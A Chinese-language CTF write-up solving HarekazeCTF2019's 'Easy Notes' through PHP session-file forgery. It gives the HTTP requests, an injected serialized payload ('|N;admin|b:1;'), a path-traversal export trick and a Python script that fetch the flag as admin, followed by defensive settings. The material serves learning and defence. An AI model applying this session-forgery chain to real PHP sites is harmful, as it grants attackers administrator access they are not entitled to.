从零攻破HarekazeCTF2019的Easy Notes:PHP Session反序列化实战指南

第一次参加CTF比赛时,遇到PHP Session相关的题目总让人一头雾水。那些看似无害的 PHPSESSID 背后究竟隐藏着什么秘密?今天我们就以HarekazeCTF2019的Easy Notes为例,彻底揭开Session反序列化的神秘面纱。不同于简单的解题脚本分享,本文将带你从PHP底层机制出发,一步步构建完整的攻击链条。

1. 环境准备与题目分析

在开始之前,建议使用Docker快速搭建一个与比赛相似的环境。以下是我的本地测试配置:

docker run -d -p 8080:80 --name harakaze_ctf \
  -v /path/to/your/code:/var/www/html \
  php:7.2-apache

题目核心逻辑 可以归纳为三个关键点:

  1. 身份验证完全依赖Session中的 is_admin 标志
  2. Session文件存储在 /var/www/tmp 目录
  3. 笔记系统允许用户创建特定格式的文件

通过 export.php 的源码审计(假设我们已通过某种方式获取),发现存在路径穿越漏洞:

$filename = str_replace('..', '', $note['title']).'.'.$type;

2. PHP Session机制深度解析

PHP默认使用文件存储Session数据,其命名规则为 sess_[PHPSESSID] 。在Ubuntu系统中,常见的存储路径包括:

环境 默认Session路径
PHP默认 /tmp
Ubuntu /var/lib/php/sessions
PHPStudy C:\phpStudy\PHPTutorial\tmp\tmp

关键点在于serialize_handler的设置 。当使用 php 引擎时(非 php_serialize ),Session数据会以特殊格式存储:

admin|b:1; → 反序列化为:['admin' => true]

这种格式使用竖线 | 作为分隔符,正是我们利用的核心。通过构造特定的输入,可以注入恶意序列化数据。

3. 构建攻击链条

完整的攻击流程分为四个阶段:

  1. 注册特殊用户名
    创建一个以 sess_ 开头的用户名,这样笔记文件就会与Session文件同名:

    POST /login.php HTTP/1.1
    user=sess_ubuntu
    
  2. 注入序列化数据
    通过笔记标题注入我们的payload:

    POST /add.php HTTP/1.1
    title=|N;admin|b:1;
    body=anything
    

    这里的 N; 是为了清除之前可能存在的序列化数据

  3. 利用路径穿越获取Session ID
    触发export.php的文件下载:

    GET /export.php?type=. HTTP/1.1
    

    服务器返回的 Content-Disposition 头会泄露完整的文件名:

    attachment; filename="sess_ubuntu."
    
  4. 伪造Session获取flag
    最后将获取到的Session ID设置到cookie中:

    import requests
    
    cookies = {'PHPSESSID': 'ubuntu'}
    r = requests.get('http://target/?page=flag', cookies=cookies)
    print(r.text)
    

4. 防御方案与思考

在实际开发中,避免此类漏洞需要注意以下几点:

  • 修改Session存储路径
    在php.ini中设置非常规路径:

    session.save_path = "/custom/path"
    
  • 严格校验用户输入
    对文件名、Session ID等进行严格过滤:

    if (!preg_match('/^[a-zA-Z0-9]+$/', $_POST['user'])) {
        die('Invalid username');
    }
    
  • 使用更安全的序列化处理器
    考虑使用 php_serialize 配合自定义Session处理器:

    ini_set('session.serialize_handler', 'php_serialize');
    

在本地测试时,我发现PHP 7.2+版本对Session处理更加严格,部分payload需要调整。建议初学者先在PHP 5.6环境下练习,再逐步过渡到新版本。

更多推荐